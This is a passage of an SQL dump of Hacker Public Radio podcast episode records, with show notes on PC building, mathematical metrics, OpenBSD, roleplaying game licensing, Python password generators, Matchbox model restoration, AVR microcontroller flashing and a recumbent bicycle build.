href=https://help.ui.com/hc/en-us/articles/205202560-EdgeRouter-Add-Debian-Packages-to-EdgeOS target=_blank>https://help.ui.com/hc/en-us/articles/205202560-EdgeRouter-Add-Debian-Packages-to-EdgeOS</a></li>\r\n<li>Arch Wiki: <a href=https://wiki.archlinux.org target=_blank>https://wiki.archlinux.org</a></li>\r\n<li>Californication: <a href=https://www.sho.com/californication target=_blank>https://www.sho.com/californication</a></li>\r\n<li>The Italian music extract is courtesy of Christian Petermann from his piece Folk Festival (CC-BY-SA)</li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Linus, Transmeta, EdgeOS, Arch, Californication, device tree ',0,0,1),
(3096,'2020-06-15','Unscripted ramblings on a walk:  PC Building.',135,'I take a walk and discuss my experience building a new PC after having not done so for many years.','<p>I certainly want to say that this episode isn\'t a brag-a-thon about my new rig. I try to discuss what surprised me most about how PC building has changed in the last 10-15 years.</p>\r\n<p>The parts for my build:</p>\r\n<ul>\r\n<li>AMD Threadripper 1920X 3.5 GHz 12-Core Processor</li>\r\n<li>ASRock X399 Taichi ATX sTR4 Motherboard</li>\r\n<li>EVGA 850 B3, 80+ Bronze 850W, Fully Modular PSU</li>\r\n<li>Noctua NH-U14S TR4-SP3, Premium-Grade CPU Cooler</li>\r\n<li>MSI Gaming GeForce GT 710</li>\r\n<li>Fractal Design Define C case</li>\r\n<li>Corsair LPX 32GB (2x16GB) 3200MHz C16 DDR4 DRAM Memory Kit</li>\r\n<li>GELID GC-Extreme thermal paste</li>\r\n<li>Random 500GB SSD from my parts bin</li>\r\n</ul>',241,57,0,'CC-BY-SA','pc,hardware,build,battlestation,discussion,review,walk',0,0,1),
(3101,'2020-06-22','Metrics',1553,'A layman\'s explanation of the mathematical concept of metric.','<p>Whether you are writing a simple darts simulation 8-bit computer game or are traversing the galaxy Elite-style, you might well find yourself tangling with the mathematical concept known as the metric. In this episode I describe the mathematical concept of a metric which I address with the following questions. Brief answers are provided below but the show, I hope, gives more context and colour.</p>\r\n<h3 id=\"what-is-a-metric\">What is a metric?</h3>\r\n<p>A type of ruler that is used in mathematics.</p>\r\n<h3 id=\"why-not-just-use-a-ruler\">Why not just use a ruler?</h3>\r\n<p>You can if all you want to do is measure distances in real life but if you want to work out distances from coordinates you need a metric.</p>\r\n<h3 id=\"whats-the-simplest-example-of-a-metric\">What\'s the simplest example of a metric?</h3>\r\n<p>In 1D, distance s equals change in x coordinate.</p>\r\n<h3 id=\"ok-can-i-have-a-more-interesting-example-please\">OK, can I have a more interesting example please?</h3>\r\n<p>On a flat 2D surface, distance squared is the change in x squared plus change in y squared.</p>\r\n<h3 id=\"isnt-that-pythagoras\">Isn\'t that pythagoras?</h3>\r\n<p>Yes, it is, but using the word distance and two co-ordinates.</p>\r\n<h3 id=\"what-other-co-ordinates-can-we-use-for-a-flat-2d-surface\">What other co-ordinates can we use for a flat 2D surface?</h3>\r\n<p>Those x and y co-ordinates are called Cartesian co-ordinates. Instead we can use polar co-ordinates: radius r, and the angle φ (or phi) measured clockwise from the vertical. These might be more convenient in some cases, say for a dart board computer game, or if you are working with a compass bearing, eg head east for 1 km would become start at the origin (r=0) and move with phi=90° until r=1 km.</p>\r\n<h3 id=\"does-pythagoras-still-work-in-polar-coords\">Does Pythagoras still work in polar coords?</h3>\r\n<p>Yes and no. No, it is no longer true to say that distance squared equals radius squared plus φ squared, but since the geometry is the same - a flat 2D surface - we can say that a <em>change</em> in distance squared equals the <em>change</em> in radius squared plus radius squared times the <em>change</em> in φ squared.</p>\r\n<h3 id=\"why-do-we-have-to-talk-about-changes-in-s-r-and-φ\">Why do we have to talk about changes in s, r and φ?</h3>\r\n<p>Because one of our coordinates now appears in the metric. That is, the radius squared multiplies on to the change in φ squared. This means that a change in φ depends on r. In other words, bigger circles have bigger circumferences. Actually, it\'s more intricate than that, as we must deal with infinitesimals: quantities which are very, very, very small but not zero.</p>\r\n<h3 id=\"can-we-use-cartesian-or-polar-co-ordinates-on-the-surface-of-the-earth\">Can we use Cartesian or polar co-ordinates on the surface of the Earth?</h3>\r\n<p>Only over short distances, much smaller than the radius of the Earth which is 6400 km. So up to about 100 km that\'s fine for many purposes, but not when flying a plane over great distances, say London to Singapore.</p>\r\n<h3 id=\"why-not\">Why not?</h3>\r\n<p>The surface of the Earth may look locally flat but of course the Earth has a curved 2D surface. This means that this surface has a non-euclidean geometry, which means that Pythagoras does not hold and we cannot even define Cartesian co-ordinates, let alone use them.</p>\r\n<h3 id=\"i-want-to-know-more-or-my-mind-is-not-fully-blown\">I want to know more OR my mind is not fully blown.</h3>\r\n<p>I will probably do more shows on this.</p>\r\n<h3 id=\"can-i-have-some-links\">Can I have some links?</h3>\r\n<p>Sure:</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Alcubierre_drive\">Alcubierre drive</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Darts\">Dart board</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Polar_coordinate_system\">Polar coordinates</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Metric_(mathematics)\">Metric</a></li>\r\n</ul>\r\n',268,0,0,'CC-BY-SA','mathematics,relativity,physics',0,0,1),
(3103,'2020-06-24','A warning about browser extensions and add-ons.',93,'A unmaintained extension lead to a popup storm','<p>\r\nI started getting popups while going to safe websites in chromium-browser. I disabled all browser extensions and then turned them back on individually. I found one that which was causing the problem and it is no longer on the app store. It was however still working and had not been revoked on my browser.\r\n</p>\r\n<p>\r\nPlease check your extensions and add-ons to make sure they are regularly updated.\r\n</p>',30,0,0,'CC-BY-SA','extensions,add-ons,firefox,chromium,chrome,thunderbird',0,0,1),
(3116,'2020-07-13','Unscripted ramblings on a walk:  Crisis at The Manor',1137,'A walk and a talk about a lightning strike zapping a network.','<p>In an episode years ago, I talked about \"libernil.net\" (a network for my family and friends). That network grew to be known as \"The Manor\" (manor.space) and has hosted more friends over time. Not too long ago our primary infrastructure was knocked out by lightning. On today\'s walk, I talk a little bit about what happened.</p>',241,0,1,'CC-BY-SA','networks,post-mortem,retrospective,community,walk,rambling',0,0,1),
(3108,'2020-07-01','Fuguita as a Desktop',3148,'I cover all the wonderful things about using Fuguita as your Desktop','<p>I cover many issues about using OpenBSD based Fuguita as your Desktop. I wouldn\'t have it any other way, I use Fuguita for my main Desktop these days.</p>\r\n',377,0,0,'CC-BY-SA','OpenBSD,Fuguita,Desktop,Portability,Sanity',0,0,1),
(3119,'2020-07-16','Converting to FFS2',2426,'FFS2, FuguIta encryption and UUID\'s and 9 volt batteries','<p>I talk about converting my I386 Dell Mini 10 running OpenBSD6.7 to the new FFS2 file system. I also talk about the two new features of FuguIta 6.7 which are data encryption and the use of UUID\'s in the noasks file which is used for automatic booting. I also talk about 9 volt batteries and high technology transistor radios. I am also surprised by an SD card discovery I found on my Dell Mini 10.</p>\r\n',377,0,0,'CC-BY-SA','FFS2, SD cards, OpenBSD',0,0,1),
(3120,'2020-07-17','How open are roleplaying games?',2767,'Klaatu and mcnalu talk through what open and free mean in roleplaying games.','<p>Roleplaying games open you up to a seemingly unlimited array of possibilities taking place in many universes. But truly unlimited freedom would literally mean nothing without a context of history, lore and rules for your adventures. Klaatu and mcnalu talk through what open and free mean in roleplaying games with a particular focus on Dungeons &amp; Dragons which Klaatu has been been running for the HPR community in recent months.</p>\r\n<p>If you want to play D&amp;D you can go to the website of its publisher <a href=\"https://dnd.wizards.com/\">Wizards of the Coast</a> and browse for the player and other manuals. But if you want to play but can\'t or won\'t pay then you can use the <a href=\"https://dnd.wizards.com/articles/features/systems-reference-document-srd\">System Reference Document (SRD)</a> which is published under the <a href=\"https://www.opengamingfoundation.org/ogl.html\">Open Game License (OGL)</a>. You can even use that document to create and publish your own adventures.</p>\r\n<p>However, if you want to publish an adventure with the full set of D&amp;D rules from official manuals — every monster and every spell — then you need the publisher\'s approval. To do this for D&amp;D you need to publish through the <a href=\"https://support.dmsguild.com/hc/en-us/articles/360024677993-Getting-Started-on-Dungeon-Masters-Guild\">Dungeon Masters\' Guild</a>.</p>\r\n',268,0,0,'CC-BY-SA','open,free,roleplaying,licensing',0,0,1),
(3128,'2020-07-29','Linux Inlaws S01E11 The Python Bumper Part 2',4065,'The chaps continue to shed more light on our beloved programming language','<ul>\r\n    <li>TIOBE index: <a href=https://www.tiobe.com/tiobe-index target=_blank>https://www.tiobe.com/tiobe-index</a></li>\r\n    <li>Stackoverflow index: <a href=https://insights.stackoverflow.com/survey/2020#technology-most-loved-dreaded-and-wanted-languages-loved target=_blank>https://insights.stackoverflow.com/survey/2020#technology-most-loved-dreaded-and-wanted-languages-loved</a></li>\r\n    <li>PEP 520 (the Zen of Python): <a href=https://www.python.org/dev/peps/pep-0020 target=_blank>https://www.python.org/dev/peps/pep-0020</a></li>\r\n    <li>PEP 572: <a href=https://www.python.org/dev/peps/pep-0572 target=_blank>https://www.python.org/dev/peps/pep-0572</a></li>\r\n    <li>PEP 572 discussion: <a href=https://twitter.com/llanga/status/989670881176702976 target=_blank>https://twitter.com/llanga/status/989670881176702976</a></li>\r\n    <li>Claudio\'s link: <a href=https://www.kevra.org/TheBestOfNext/DifferentNeXTSpellings/DifferentNeXTSpellings.html target=_blank>https://www.kevra.org/TheBestOfNext/DifferentNeXTSpellings/DifferentNeXTSpellings.html</a></li>\r\n    <li>Secret Diary of a Call Girl: <a href=https://en.wikipedia.org/wiki/Secret_Diary_of_a_Call_Girl target=_blank>https://en.wikipedia.org/wiki/Secret_Diary_of_a_Call_Girl</a></li>\r\n    <li>Sophie Wilson interview: <a href=\"https://www.youtube.com/watch?v=R2SdSLCMKEA&t=1852s\" target=_blank>https://www.youtube.com/watch?v=R2SdSLCMKEA&amp;t=1852s</a></li>\r\n</ul>\r\n\r\n\r\n',384,111,1,'CC-BY-SA','Python 3.9, Mortgages in New York, Williamsburg, Wirecard, middle-aged blondes',0,0,1),
(3106,'2020-06-29','Linux Inlaws S01E09 Postgres',3851,'The lads talk to Bruce Momjian Postgres evangelist','<h2>S01E09:</h2>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3106\" target=_blank>Postgres</a><br/>\r\nListen to our two OAP interviewing Bruce\r\nMomjian, Postgres evangelist and long-time supporter of this popular SQL\r\ndatabase. Expect lots of strong language around SQL and NoSQL topics and\r\nsome ranting about MINT\'s attitude towards snaps, a fun breach of a health\r\nservice provider in the UK and why broadcasters should stick to\r\nmonopolies.</p>\r\n<ul>\r\n<li>MINT Chromium issue: <a href=https://blog.linuxmint.com/?p=3766 target=_blank>https://blog.linuxmint.com/?p=3766</a></li>\r\n<li>PostgreSQL: <a href=https://www.postgresql.org target=_blank>https://www.postgresql.org</a></li>\r\n<li>Babylon Health breach: <a href=https://www.bbc.com/news/technology-52986629 target=_blank>https://www.bbc.com/news/technology-52986629</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','Postgres, SQL, NoSQL, MINT',0,0,1),
(3107,'2020-06-30','Generating comfortable passwords',1800,'generating passwords to be comfortably type-able','<h2 id=\"random-password-generation\">Random Password Generation</h2>\r\n<p>First implementation: 14 character long with 6 letters and 8 digits</p>\r\n<pre><code>#!/usr/bin/env python3\r\n# file: passgen-v1.py\r\n\r\nimport random\r\n\r\nLETTERS = &quot;abcdefghijklmnopqrstuvwxyz&quot;\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n\r\n    passwd = []\r\n\r\n    for i in range(6):\r\n            passwd.append(random.choice(LETTERS))\r\n\r\n    for i in range(8):\r\n            passwd.append(random.choice(&quot;1234567890&quot;))\r\n\r\n    print(&quot;&quot;.join(passwd))\r\n</code></pre>\r\n<p>The passwords that come out of this are a bit difficult to type so I forced it to alternate between the left and right hands</p>\r\n<pre><code>#!/usr/bin/env python3\r\n# file: passgen-v2.py\r\n\r\nimport random\r\n\r\nLEFTS = &quot;&#39;,.pyaoeui;qjkx&quot;\r\nRIGHTS = &quot;fgcrldhdhtns-bmwvz&quot;\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n\r\n    passwd = []\r\n\r\n    for i in range(6):\r\n        if i % 2 == 0:\r\n            passwd.append(random.choice(LEFTS))\r\n        else:\r\n            passwd.append(random.choice(RIGHTS))\r\n\r\n    for i in range(8):\r\n        if i % 2 == 0:\r\n            passwd.append(random.choice(&quot;123456&quot;))\r\n        else:\r\n            passwd.append(random.choice(&quot;7890&quot;))\r\n\r\n    print(&quot;&quot;.join(passwd))\r\n</code></pre>\r\n<p>The regularity of switching between left and right hands (intuitively, and almost surely) decreases the entropy of the password, so use markov models to make that happen for the most part but critically NOT enforce it.</p>\r\n<pre><code>#!/usr/bin/env python3\r\n# file: passgen-v3.py\r\n\r\nimport random\r\n\r\nLs = [\r\n    &quot;aoeui&quot;,  # L1\r\n    &quot;&#39;,.py&quot;,  # L2\r\n    &quot;;qjkx&quot;,  # L3\r\n    &quot;123456&quot;, # L4\r\n    &quot;-snthd&quot;, # R1\r\n    &quot;lrcgf&quot;,  # R2\r\n    &quot;zvwmb&quot;,  # R3\r\n    &quot;7890&quot;    # R4\r\n]\r\n\r\nA = [[ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\r\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\r\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\r\n     [.004, .003, .003, .09,  .03,  .03,  .03, .81],\r\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\r\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\r\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\r\n     [ .03,  .03,  .03, .81, .004, .003, .003, .09]]\r\n\r\npi = [ .41, .03, .03, .03, .41, .03, .03, .03]\r\n\r\ndef sample( l ):\r\n    l_partial = [ sum(l[:i+1],0) for i in range(len(l))]\r\n    u = random.uniform(0,1)\r\n    for j,v in enumerate(l_partial):\r\n        if v &gt; u:\r\n            return j\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n\r\n    passwd = []\r\n\r\n    s = sample(pi)\r\n    for i in range(20):\r\n        s = sample(A[s])\r\n        passwd.append(random.choice(Ls[s]))\r\n\r\n    print(&quot;&quot;.join(passwd))\r\n</code></pre>\r\n<p>For increased entropy should also consider peppering in a few upper case characters.</p>\r\n<pre><code>#!/usr/bin/env python3\r\n# file: passgen-v3.py\r\n\r\nimport random\r\n\r\nLs = [\r\n    &quot;aoeui&quot;,  # L1\r\n    &quot;&#39;,.py&quot;,  # L2\r\n    &quot;;qjkx&quot;,  # L3\r\n    &quot;123456&quot;, # L4\r\n    &quot;-snthd&quot;, # R1\r\n    &quot;lrcgf&quot;,  # R2\r\n    &quot;zvwmb&quot;,  # R3\r\n    &quot;7890&quot;    # R4\r\n]\r\n\r\nA = [[ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\r\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\r\n     [ .03,  .03,  .03, .01,  .27,  .27,  .27, .09],\r\n     [.004, .003, .003, .09,  .03,  .03,  .03, .81],\r\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\r\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\r\n     [ .27,  .27,  .27, .09,  .03,  .03,  .03, .01],\r\n     [ .03,  .03,  .03, .81, .004, .003, .003, .09]]\r\n\r\npi = [ .41, .03, .03, .03, .41, .03, .03, .03]\r\n\r\nUPPER=.1\r\n\r\ndef sample( l ):\r\n    l_partial = [ sum(l[:i+1],0) for i in range(len(l))]\r\n    u = random.uniform(0,1)\r\n    for j,v in enumerate(l_partial):\r\n        if v &gt; u:\r\n            return j\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n\r\n    passwd = []\r\n\r\n    s = sample(pi)\r\n    for i in range(20):\r\n        s = sample(A[s])\r\n        c = random.choice(Ls[s])\r\n        u = random.uniform(0,1)\r\n        if u &lt; UPPER:\r\n            c = c.upper()\r\n        passwd.append(c)\r\n\r\n    print(&quot;&quot;.join(passwd))\r\n</code></pre>\r\n<p>Finally, generating the matrix by hand was a bit of a pain, so I made it a bit easier by making a small procedure with few control knobs (the variables <code>SWITCH_HAND</code> and <code>SWITCH_CHAR</code> which control how likely it is that a character pair will result in a hand switch, or a switch between general characters and digits).</p>\r\n<pre><code>#!/usr/bin/env python3\r\n\r\nimport random\r\nimport numpy\r\n\r\n# this version uses a markov chain to make it more likely to alternate hands\r\n# (in dvorak) so that the password is easy to type (in dvorak)\r\n\r\nLs = [\r\n    &quot;aoeui&quot;,  # L1\r\n    &quot;&#39;,.py&quot;,  # L2\r\n    &quot;;qjkx&quot;,  # L3\r\n    &quot;123456&quot;, # L4\r\n    &quot;-snthd&quot;, # R1\r\n    &quot;lrcgf&quot;,  # R2\r\n    &quot;zvwmb&quot;,  # R3\r\n    &quot;7890&quot;    # R4\r\n]\r\n\r\nSWITCH_HAND = .8\r\nSWITCH_CHAR = .3\r\nUPPER=.1\r\n\r\ndef prob( i , j ):\r\n    switch_hand = int(i / 4) != int(j / 4)\r\n    to_num = (j % 4) == 3\r\n    from_num = (i % 4) == 3\r\n\r\n    prob = 1\r\n\r\n    if to_num and from_num:\r\n        prob *= (1 - SWITCH_CHAR)\r\n    elif to_num:\r\n        prob *= (SWITCH_CHAR)\r\n    elif from_num:\r\n        prob *= (SWITCH_CHAR / 3)\r\n    else:\r\n        prob *= ((1 - SWITCH_CHAR) / 3)\r\n\r\n    if switch_hand:\r\n        prob *= SWITCH_HAND\r\n    else:\r\n        prob *= (1 - SWITCH_HAND)\r\n\r\n    return prob\r\n\r\n\r\nA = numpy.array([ [ prob(i,j) for j in range(8)  ] for i in range(8) ])\r\n\r\npi = [ 1.0 / 8 for i in range(8) ]\r\n\r\ndef sample( l ):\r\n    l_partial = [ sum(l[:i+1],0) for i in range(len(l))]\r\n    u = random.uniform(0,1)\r\n    for j,v in enumerate(l_partial):\r\n        if v &gt; u:\r\n            return j\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n\r\n    passwd = []\r\n\r\n    s = sample(pi)\r\n    for i in range(20):\r\n        s = sample(A[s])\r\n        c = random.choice(Ls[s])\r\n        u = random.uniform(0,1)\r\n        if u &lt; UPPER:\r\n            c = c.upper()\r\n        passwd.append(c)\r\n\r\n    print(&quot;&quot;.join(passwd))\r\n</code></pre>\r\n',385,0,1,'CC-BY-SA','passwords, python',0,0,1),
(3109,'2020-07-02','Matchbox Restoration Part 4',277,'In this the 4th in the series Tony discusses paint removal on the castings of the MK10 Jaguars','<p>Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 4th in a series of shows about my hobby of restoring Matchbox and other Die cast models. In the last show I went through the process of stripping the models down to their component parts. In this episode I will discuss the process I use to remove the paint and prepare the casting for repainting and reassembly.</p>\r\n<p>So first off, and I should have said this last episode, a health and safety warning. If there are young people listening to this some of the things talked about on today\'s show require parental supervision, and are not recommended for young people unless properly supervised. So with that public service announcement out of the way let\'s get on with the show.</p>\r\n<p>So before the base can be put in the paint stripper the wheels and axles need to be removed. As you can see from the picture there are flanges holding on the wheels to the metal axle and one side is only a small flange.</p>\r\n<p>Picture 000<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_000.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_000_thumbnail.jpg\" alt=\"Picture 000\" /></a></p>\r\n<p>This can be removed with a small needle file or a small rotary file attachment for my rotary tool. Once removed the bases can be put in with the rest of the casting for paint removal.</p>\r\n<p>Picture 001<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_001_thumbnail.jpg\" alt=\"Picture 001\" /></a></p>\r\n<p>So let\'s talk about paint removal, obviously the first one you will think of is some kind of chemical paint stripper and I use 2 different methods of this. The first and probably the safest in the first instance is a commercial paint stripper from one of the chain DIY stores here in the UK, B&Q. There is a local store about 10 minutes drive from me so it is convenient during normal shopping times just to pop in and grab a 2.5Ltr container of their own brand DIAL paint stripper that is fantastic for this job and quite economic.</p>\r\n<p>The second is a little more aggressive if you need fast results but requires a little more in the way of care when using it as it is very corrosive and can be harmful if the fumes are breathed in, or the product gets onto your skin or in your eyes. This is caustic soda and I buy this through eBay and have it delivered in 1Kg pouches. It needs to be stored in an air tight container in a dry environment to keep it from getting damp as this is a potential fire hazard as if it gets contaminated buy moisture a chemical reaction starts which generates heat. So if you go with the caustic soda method you need to take adequate safety precautions. With the Jaguar I mainly used the caustic soda method to remove the paint but one casting I put in the paint stripper to show that method.</p>\r\n<p>With the caustic soda place the castings in a jar with enough room to cover with just boiled water so that it does not overflow when the caustic soda crystals are added slowly, I use a long handle tea spoon and add 2-3 tea spoons of the soda until it has a good fizz. Then leave for about 15 minutes but the longer the better, I sometimes do this and leave over night and this gives a great result. Remember to wear gloves when doing this to prevent getting the caustic on your hands.</p>\r\n<p>Picture 002<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_002.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_002_thumbnail.jpg\" alt=\"Picture 002\" /></a></p>\r\n<p>Picture 003<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_003_thumbnail.jpg\" alt=\"Picture 003\" /></a></p>\r\n<p>Picture 004<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_004.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_004_thumbnail.jpg\" alt=\"Picture 004\" /></a></p>\r\n<p>Picture 005<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_005.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_005_thumbnail.jpg\" alt=\"Picture 005\" /></a></p>\r\n<p>With the paint stripper I have a plastic click lock box with this in that I immerse the casting into and leave for several hours for best results. This can be reused many times as you can see in this picture keeping it an economic method as most of the stripper is left in the box when you remove the casting. The results for both methods are similar, but I find the caustic although you need to be careful, is the less messy of the two options, and the casting is easier to clean after paint removal.</p>\r\n<p>Picture 006<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_006.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_006_thumbnail.jpg\" alt=\"Picture 006\" /></a></p>\r\n<p>So after removal of the paint the castings are polished up with either a hand wire brush or a wire brush attachment for the rotary tool. You can see the base before and after and a picture of the polished main casting in the notes.</p>\r\n<p>Picture 007<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_007.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_007_thumbnail.jpg\" alt=\"Picture 007\" /></a></p>\r\n<p>Picture 008<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3109/img_008.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3109/img_008_thumbnail.jpg\" alt=\"Picture 008\" /></a></p>\r\n<p>So we now have a casting ready for repainting, which I will cover in the next episode. So until next time this is Tony Hughes saying goodbye to all those in HPR land. Keep safe until the next instalment.</p>\r\n',338,114,0,'CC-BY-SA','Matchbox Cars,Diecast Models,Restoration,paint removal,caustic soda,paint stripper',0,0,1),
(3403,'2021-08-18','Forth on microcontrollers',1341,'A little more about forth and a couple of chapters in the novel of my life','<ul>\r\n<li><p>microlisp<br />\r\nlisp on avr microcontrollers (and others)<br />\r\n<a href=\"https://www.ulisp.com/\" class=\"uri\">https://www.ulisp.com/</a></p></li>\r\n<li><p>ben eater<br />\r\n<a href=\"https://eater.net/\" class=\"uri\">https://eater.net/</a></p></li>\r\n<li><p>computer on breadboards<br />\r\n<a href=\"https://6502.org/\" class=\"uri\">https://6502.org/</a></p></li>\r\n<li><p>forth on avr microcontrollers</p>\r\n<ul>\r\n<li>eforth <a href=\"https://forth.org/eforth.html\" class=\"uri\">https://forth.org/eforth.html</a></li>\r\n<li>amforth <a href=\"https://amforth.sourceforge.net/\" class=\"uri\">https://amforth.sourceforge.net/</a></li>\r\n<li>flash forth <a href=\"https://www.flashforth.com/\" class=\"uri\">https://www.flashforth.com/</a></li>\r\n</ul></li>\r\n<li><p>incantations</p></li>\r\n</ul>\r\n<pre><code>  sudo avrdude -c usbtiny -p m328p -e -U flash:w:uno.hex:i -U eeprom:w:uno.eep.hex:i\r\n  sudo avrdude -c usbtiny -p m328p -e -U flash:w:uno.hex:i -U eeprom:w:uno.eep.hex:i\r\n  sudo avrdude -P usbtiny -p m328p -e -U efuse:w:0x05:m -U hfuse:w:0xD9:m -U lfuse:w:0xFF:m</code></pre>',326,0,0,'CC-BY-SA','programming, history, arduino',0,0,1),
(3112,'2020-07-07','finishing the frame on the long wheelbase recumbent',529,'a narrated slideshow of the next steps in building a bespoke recumbent bicycle','<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1282\">hpr 1282</a> john kulps efforts</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2869\">hpr 2869</a> part one of my build</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2875\">hpr 2875</a> part two</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2962\">hpr 2962</a> part three</li>\r\n</ul>\r\n<!-- - -->\r\n<ul>\r\n<li>recycled recumbent can be found at:<br />\r\n<a href=\"https://sites.google.com/site/recycledrecumbents/home\" class=\"uri\">https://sites.google.com/site/recycledrecumbents/home</a></li>\r\n</ul>\r\n<p>Rear triangle in jig<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_000.jpg\" alt=\"Rear triangle in jig\" /></p>\r\n<p>Close up<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_001.jpg\" alt=\"Close up\" /></p>\r\n<p>View from the front<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_002.jpg\" alt=\"View from the front\" /></p>\r\n<p>Jig ready for bending<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_003.jpg\" alt=\"Jig ready for bending\" /></p>\r\n<p>Bending process complete<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_004.jpg\" alt=\"Bending process complete\" /></p>\r\n<p>Jigging up rear triangle onto frame<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_005.jpg\" alt=\"Jigging up rear triangle onto frame\" /></p>\r\n<p>Rear triangle brazed to frame<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_006.jpg\" alt=\"Rear triangle brazed to frame\" /></p>\r\n<p>Making emt bottom rails<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_007.jpg\" alt=\"Making emt bottom rails\" /></p>\r\n<p>Prying cuts open<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_008.jpg\" alt=\"Prying cuts open\" /></p>\r\n<p>Finished and ready to fit in frame<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_009.jpg\" alt=\"Finished and ready to fit in frame\" /></p>\r\n<p>Emt bending tool<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_010.jpg\" alt=\"Emt bending tool\" /></p>\r\n<p>Bottom rails ready for brazing<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3112/img_011.jpg\" alt=\"Bottom rails ready for brazing\" /></p>\r\n<!-- picture01-rear-triangle-in-jig.jpg -->\r\n<!-- Rear triangle in jig -->\r\n<!-- picture02-triangle-close-up.jpg -->\r\n<!-- Close up -->\r\n<!-- picture03-triangle-front-view.jpg -->\r\n<!-- View from the front -->\r\n<!-- picture04-bending-jig.jpg -->\r\n<!-- Jig ready for bendoing -->\r\n<!-- picture05-triangle-bend-complete.jpg -->\r\n<!-- Bending process complete -->\r\n<!-- picture06-rear-triangle-on-frame.jpg -->\r\n<!-- Jigging up rear triangle onto frame -->\r\n<!-- picture07-rear-triangle-brazed.jpg -->\r\n<!-- Rear triangle brazed to frame -->\r\n<!-- picture08-emt-opening.jpg -->\r\n<!-- Making emt bottom rails -->\r\n<!-- picture09-prying-open.jpg -->\r\n<!-- Prying cuts open -->\r\n<!-- picture10-say-ahh.jpg -->\r\n<!-- Finished and ready to fit in frame -->\r\n<!-- picture11-bending-tool.jpg -->\r\n<!-- Emt bending tool -->\r\n<!-- picture12-bottom-rails-ready-to-braze.jpg -->\r\n<!-- Bottom rails ready for brazing -->\r\n',326,115,0,'CC-BY-SA','bicycle, recumbent',0,0,1),
(3130,'2020-07-31','More Quick Tips',667,'This time tips onNvidia ffmpeg transcoding Fallout Perks Late to Movies,Shared 2FA,Time to leave app','<ol type=\"1\">\r\n<li>I talk about using Nvidia to quickly transcode</li>\r\n<li>Go over fallout 76 perks</li>\r\n<li>Show up to movies 20min late to miss th BS</li>\r\n<li>Shared 2FA because everybody uses SMS for some reason even tho the feds say now not to ... it took us 10 years to get here lol</li>\r\n<li>Time to leave app ! never be late to anything again... LOL .. you wish !</li>\r\n</ol>\r\n<p>-rmccurdy.com</p>\r\n',36,0,1,'CC-BY-SA','Nvidia ffmpeg transcoding,Fallout Perks,Late to Movies,Shared 2FA,Time to leave app',0,0,1),
(3135,'2020-08-07','Quick Tips for May 20 20',977,'BlueTooth,Carseats,tweezers,waffles ','<ol type=\"1\">\r\n<li>Talk about Bluetooth...</li>\r\n<li>We can put a man on the moon but we can\'t make a carseat that doesn\'t make me want to murder people when I try to move it ...</li>\r\n<li>Sharpen those tweezers!</li>\r\n<li>Waffffffffelz! YUM!</li>\r\n</ol>',36,0,1,'CC-BY-SA','BlueTooth,Carseats,tweezers,waffles ',0,0,1),
